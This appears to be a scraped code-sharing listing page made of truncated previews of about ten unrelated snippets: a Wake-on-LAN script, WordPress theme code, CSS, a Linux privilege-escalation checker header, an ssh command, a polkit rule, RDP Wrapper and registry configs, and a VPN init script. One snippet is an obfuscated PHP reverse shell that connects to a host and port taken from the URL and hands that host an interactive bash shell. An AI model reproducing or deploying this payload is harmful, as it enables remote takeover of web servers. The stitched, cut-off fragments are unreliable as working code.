This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Send-Packet([string]$MacAddress){ | |
try { | |
## Create UDP client instance | |
$UdpClient = New-Object Net.Sockets.UdpClient | |
## Define Broadcast Address as IP Endpoint | |
$remoteip = [System.Net.IPAddress]::Parse("192.168.178.255") | |
$IPEndPoint = New-Object Net.IPEndPoint $remoteip, 9 | |
echo $IPEndPoint |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @package activello | |
*/ | |
global $wp_query; | |
$index = $wp_query->current_post + 1; | |
$layout = get_theme_mod( 'activello_sidebar_position' ); | |
$blog_layout = get_theme_mod( 'activello_blog_layout', 'default' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* custom category style */ | |
.cat-title-grid ul { | |
margin: 0; | |
padding: 0; | |
list-style: none; | |
} | |
.cat-title-grid ul li { | |
display: inline; | |
} | |
.cat-title-grid a { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/env python | |
############################################################################################################### | |
# [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script -- Python3 Version | |
# [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift | |
# ------------------------------------------------------------------------------------------------------------- | |
# [Details]: | |
# This script is intended to be executed locally on a Linux box to enumerate basic system info and | |
# search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text | |
# passwords and applicable exploits. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ssh administrator@mediaserver -i "C:\Users\admin\priv" "381b4222-f694-41f0-9685-ff5bb260df2e" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$spfb7eb3 = "http://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}"; $spcbbfea = parse_url($spfb7eb3); parse_str($spcbbfea['query'], $sp2b8ea8); set_time_limit(0); $sp9ef325 = '1.0'; $spcf255c = $sp2b8ea8['ip']; $sp3e3f49 = $sp2b8ea8['port']; $sp446e53 = 1400; $spc99631 = null; $sp4fe8e7 = null; $spe52141 = 'uname -a; w; id; /bin/bash -i'; $sp39dd13 = 0; $sp19efd4 = 0; if (function_exists('pcntl_fork')) { $sp835e89 = pcntl_fork(); if ($sp835e89 == -1) { printit('ERROR: Can\'t fork'); die(1); } if ($sp835e89) { die(0); } if (posix_setsid() == -1) { printit('Error: Can\'t setsid()'); die(1); } $sp39dd13 = 1; } else { printit('ck'); } chdir('/'); umask(0); $sp29c794 = fsockopen($spcf255c, $sp3e3f49, $sp026e87, $sp410863, 30); if (!$sp29c794) { printit("{$sp410863} ({$sp026e87})"); die(1); } $sp0e45a5 = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $spc89e95 = proc_open($spe52141, $sp0e45a5, $sp4827c4); if (!is_resource($spc89e95)) { printit('ERROR'); die(1); } stream_s |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
polkit.addRule(function(action, subject) { | |
if ((action.id == "org.freedesktop.color-manager.create-device" || | |
action.id == "org.freedesktop.color-manager.create-profile" || | |
action.id == "org.freedesktop.color-manager.delete-device" || | |
action.id == "org.freedesktop.color-manager.delete-profile" || | |
action.id == "org.freedesktop.color-manager.modify-device" || | |
action.id == "org.freedesktop.color-manager.modify-profile") && | |
subject.isInGroup("vglusers")) { | |
return polkit.Result.YES; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; RDP Wrapper Library configuration | |
; Do not modify without special knowledge | |
[Main] | |
Updated=2020-07-22 | |
LogFile=\rdpwrap.txt | |
SLPolicyHookNT60=1 | |
SLPolicyHookNT61=1 | |
[PatchCodes] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Windows Registry Editor Version 5.00 | |
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e96c-e325-11ce-bfc1-08002be10318}\0002\PowerSettings] | |
"ConservationIdleTime"=hex:00,00,00,00 | |
"PerformanceIdleTime"=hex:00,00,00,00 | |
"IdlePowerState"=hex:00,00,00,00 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
### BEGIN INIT INFO | |
# Provides: VPNSERVER | |
# Required-Start: $all | |
# Required-Stop: | |
# Default-Start: 2 3 4 5 | |
# Default-Stop: | |
# Short-Description: Softether VPN Server | |
### END INIT INFO | |
DAEMON=/usr/local/vpnserver/vpnserver |
OlderNewer